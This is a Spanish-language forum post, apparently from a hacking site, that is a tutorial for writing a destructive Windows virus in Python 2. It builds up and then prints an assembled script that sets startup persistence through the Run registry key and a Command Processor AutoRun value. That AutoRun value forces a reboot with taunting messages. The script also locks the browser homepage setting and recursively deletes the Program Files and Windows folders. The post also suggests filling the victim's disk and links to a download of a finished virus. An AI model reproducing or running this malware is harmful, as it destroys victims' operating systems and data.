MANUAL PARA LA CREACION DE UN VIRUS EN PYTHON O PYTHONIANOYa que hay poca o nada de información acerca de creación de virus en este lenguaje `
me decidi hacerlo para que los user's vean que no es dificil crear uno de daño moderado
a software de una pc.
Primero que nada se tiene que conocer la estructura de windows, es decir que cambios se
puede hacer para dañar la pc, para empezar en "archivos de programa" es donde se guarda
la mayoria de los programas instalados en nuestra pc, "documents and settings" el lugar
donde encontraremos la mayor parte de los documentos y cosas importantes del usuario.
hay muchos puntos vulnerables a lo largo del disco duro, me enfocare a estos dos, ya que
el virus que hize ataca a esos lugares principales para inutilizar a la maquina

Si no tienen conocimiento basico de este lenguaje primero vean el manual que hize para
principiantes en este enlace, donde encontraran otros aportes de enlace a un pdf que esta
mas completo y explicado.
http://foro.portalhacker.net/index.php/topic,20108.0.htmlPueden encontrar muchos trucos para el registro de windows en san google para hacer lo
que quieran con su victima..........
bueno empezamos
1.- Manejar el registro de Windows con Python:lo primero que hacemos es crear un programa que modifique o cree valores en el registro
del sistema, punto mas vulnerable de windows, yo me enfocare al registro de XP, si buscan
en la red encontraran mucha informacion al respecto acerca de otros windows

para manejar el registro desde python se importa a _winreg de la libreria se define las
variables que tomaran los valores que le demos asi:
import _winreg
#importamos la libreria
a = 'C:\WINDOWS\System32\cmd.exe'
p = 'ECHO "MICROCHIP DICE NO INTENTES ENTRAR A LA CONSOLA!!! MEJOR TE REINICO LA PC" && ECHO "MICROCHIP DICE NO INTENTES ENTRAR A LA CONSOLA!!! MEJOR TE REINICO LA PC" && ECHO "MICROCHIP DICE NO INTENTES ENTRAR A LA CONSOLA!!! MEJOR TE REINICO LA PC" && ECHO "MICROCHIP DICE NO INTENTES ENTRAR A LA CONSOLA!!! MEJOR TE REINICO LA PC" && ECHO "MICROCHIP DICE NO INTENTES ENTRAR A LA CONSOLA!!! MEJOR TE REINICO LA PC" && ECHO "MICROCHIP DICE NO INTENTES ENTRAR A LA CONSOLA!!! MEJOR TE REINICO LA PC" && ECHO "MICROCHIP DICE NO INTENTES ENTRAR A LA CONSOLA!!! MEJOR TE REINICO LA PC" && ECHO "MICROCHIP DICE NO INTENTES ENTRAR A LA CONSOLA!!! MEJOR TE REINICO LA PC" && ECHO "MICROCHIP DICE NO INTENTES ENTRAR A LA CONSOLA!!! MEJOR TE REINICO LA PC" && ECHO "MICROCHIP DICE NO INTENTES ENTRAR A LA CONSOLA!!! MEJOR TE REINICO LA PC" && SHUTDOWN -r -f -t 120 -c "NO LO INTENTES DE NUEVO O ME HACES ENOJAR, RECUERDA QUE YO TENGO EL CONTROL DE TU PC" & start'
# definimos los valores de las variables
keyp = _winreg.OpenKey( _winreg.HKEY_LOCAL_
MACHINE, 'Software\\Microsoft\Windows\\CurrentVersion\\Run',0, _winreg.KEY_SET_VAL
UE)
# asi abrimos la clave del registro que nos interese y al final le colocamos ,0, _winreg.KEY_SET_VAL
UE para decirle que prepare
# a esta clave para escritura de valores
_winreg.SetValueEx (keyp, 'Intel', 0, _winreg.REG_SZ, a)
# con esta linea escribimos un valor alfanumerico REG_SZ con la información del valor que definimos como a, del que ya
# declaramos su valor al comienzo del programa, esto hara que cada que se inicie la pc abra la consola de MS DOS
_winreg.CloseKey(keyp)
# asi cerramos la clave para luego abrir otra
# debo decir que para cada vez que abramos una ruta del registro debemos definirla con un nombre
# en este caso yo puse keyp para ubicarme, la sgte linea seria keyp2 y asi sucesivamente, deacuerdo
# a todas las lineas que creemos para modificar el registro
***************************************************************
#En caso de que necesitemos crear una clave en el registro recurrimos a la sgte linea
#En este ejemplo creamos dentro de HKEY_CURRENT_USER\\Software\\Policies\\Microsoft las claves
# Internet Explorer, dentro de ella Control Panel y luego la cerramos y abrimos nuevamente con openkey para
# escribir una valor DWORD con informacion de valor = 1
# Este cambio que le hacemos es para evitar que cambie la pagina de inicio del Internet Explorer
keyp1 = _winreg.OpenKey( _winreg.HKEY_CURREN
T_USER, 'Software\\Policies\\Microsoft',0, _winreg.KEY_SET_VAL
UE)
_winreg.CreateKey(keyp1, 'Internet Explorer\\Control Panel')
_winreg.CloseKey(keyp1)
keyp2 = _winreg.OpenKey( _winreg.HKEY_CURREN
T_USER, 'Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel',0, _winreg.KEY_SET_VAL
UE)
_winreg.SetValueEx (keyp2, 'Homepage', 0, _winreg.REG_DWORD, 1)
_winreg.CloseKey(keyp2)
# Aqui les dejo un truco que hice para cargar los procesos al iniciar el MS DOS y cambiarle el color de la fuente
# de MS DOS a verde Matrix, ademas de reinciarle la pc, con un mensaje y varios mensajes dentro
# de la ventana de MS DOS
keyp3 = _winreg.OpenKey( _winreg.HKEY_CURREN
T_USER, 'Software\\Microsoft\\Command Processor',0, _winreg.KEY_SET_VAL
UE)
_winreg.SetValueEx (keyp3, 'AutoRun', 0, _winreg.REG_SZ, p)
_winreg.SetValueEx (keyp3, 'DefaultColor', 0, _winreg.REG_DWORD, 10)
# note que la informacion del valor que le damos a la clave REG_SZ de nombre Autorun es p,
# es el que declaramos arriba con un script para lograr nuestro objetivo
2.- Manejar Archivos y Carpetas de Windows con Python:Ahora espero que este este bien entendido, ahora necesitamos borrar el contenido de Archivos
de Programa, lo hacemos con una sola linea importando a shutil, que seria del sgte modo
import shutil
path = 'C:\Archivos de Programa'
true = 'yes'
shutil.rmtree( path, true)
# aqui le decimos que borre todo el contenido de la variable path y con true le indicamos
# que ignore los errores de borrado en ese directorio, para que no se detenga hasta que
# llegue
# a borrar el contenido de la ultima de las carpetas

# muy sencillo, que hasta un bebe lo hace
# dentro de shutil, hay varios parametros que encontran en la ayuda de python,
# como ser mover archivos o carpetas, copiar un directorio entero dentro de otro
# y asi muchas cosas mas, si leen un poco mas a fondo
# lo mismo podriamos hacer con la carpeta de WINDOWS o DOCUMENTS AND SETTINGS que solo
# aumentariamos otra variable como ser path1 y le damos el valos de WINDOWS asi:
import shutil
path = 'C:\Archivos de Programa'
path1 = 'C:\Windows'
shutil.rmtree( path, true)
shutil.rmtree( path1, true)
# je je!!! Demasiado sencillo de verdad

# Si yo quisiera copiar un directorio entero dentro de otro lo haria asi:
import shutil
src = 'C:\Archivos de Programa'
dst = 'C:\windows\el nombre que quieras'
shutil.copy( src, dst)
# aqui shutil creara una carpeta dentro de windows donde copiara todo el contenido
# de Archivos de Programa, es una tecnica cuando querermos llenarle el disco duro
# rapidamente podriammos crear mas rutas donde copiar todo un directorio para llenarle
# mas rapido su HD
AL FINAL ESTE PEQUEÑO BICHO QUEDARIA ASI:
import _winreg
import shutil
a = 'C:\WINDOWS\System32\cmd.exe'
p = 'ECHO "MICROCHIP DICE NO INTENTES ENTRAR A LA CONSOLA!!! MEJOR TE REINICO LA PC" && ECHO "MICROCHIP DICE NO INTENTES ENTRAR A LA CONSOLA!!! MEJOR TE REINICO LA PC" && ECHO "MICROCHIP DICE NO INTENTES ENTRAR A LA CONSOLA!!! MEJOR TE REINICO LA PC" && ECHO "MICROCHIP DICE NO INTENTES ENTRAR A LA CONSOLA!!! MEJOR TE REINICO LA PC" && ECHO "MICROCHIP DICE NO INTENTES ENTRAR A LA CONSOLA!!! MEJOR TE REINICO LA PC" && ECHO "MICROCHIP DICE NO INTENTES ENTRAR A LA CONSOLA!!! MEJOR TE REINICO LA PC" && ECHO "MICROCHIP DICE NO INTENTES ENTRAR A LA CONSOLA!!! MEJOR TE REINICO LA PC" && ECHO "MICROCHIP DICE NO INTENTES ENTRAR A LA CONSOLA!!! MEJOR TE REINICO LA PC" && ECHO "MICROCHIP DICE NO INTENTES ENTRAR A LA CONSOLA!!! MEJOR TE REINICO LA PC" && ECHO "MICROCHIP DICE NO INTENTES ENTRAR A LA CONSOLA!!! MEJOR TE REINICO LA PC" && SHUTDOWN -r -f -t 120 -c "NO LO INTENTES DE NUEVO O ME HACES ENOJAR, RECUERDA QUE YO TENGO EL CONTROL DE TU PC" & start'
path = 'C:\Archivos de Programa'
path1 = 'C:\Windows'
true = 'yes'
keyp = _winreg.OpenKey( _winreg.HKEY_LOCAL_
MACHINE, 'Software\\Microsoft\Windows\\CurrentVersion\\Run',0, _winreg.KEY_SET_VAL
UE)
_winreg.SetValueEx (keyp, 'Intel', 0, _winreg.REG_SZ, a)
_winreg.CloseKey(keyp)
keyp1 = _winreg.OpenKey( _winreg.HKEY_CURREN
T_USER, 'Software\\Policies\\Microsoft',0, _winreg.KEY_SET_VAL
UE)
_winreg.CreateKey(keyp1, 'Internet Explorer\\Control Panel')
_winreg.CloseKey(keyp1)
keyp2 = _winreg.OpenKey( _winreg.HKEY_CURREN
T_USER, 'Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel',0, _winreg.KEY_SET_VAL
UE)
_winreg.SetValueEx (keyp2, 'Homepage', 0, _winreg.REG_DWORD, 1)
_winreg.CloseKey(keyp2)
keyp3 = _winreg.OpenKey( _winreg.HKEY_CURREN
T_USER, 'Software\\Microsoft\\Command Processor',0, _winreg.KEY_SET_VAL
UE)
_winreg.SetValueEx (keyp3, 'AutoRun', 0, _winreg.REG_SZ, p)
_winreg.SetValueEx (keyp3, 'DefaultColor', 0, _winreg.REG_DWORD, 10)
shutil.rmtree( path, true)
shutil.rmtree( path1, true)
demasiado sencillo de veras, espero que le haya gustado, mas adelante tal vez publique
como llegar al hardware de la pc para hacerle daño fisico

Eso es todo muy corto pero efectivo...........
Atte.- MICROCHIP
Nota.- No publique el code completo de mi virus porque hay demasiados plageadores que
no colocan al verdadero autor y se dan los atributos ellos mismos, por lo menos respeten
los derechos de autor!! je ej!!!
Aqui les dejo un virus ya terminado en este lenguaje
http://z28.zupload.com/download.php?file=getfile&filepath=51035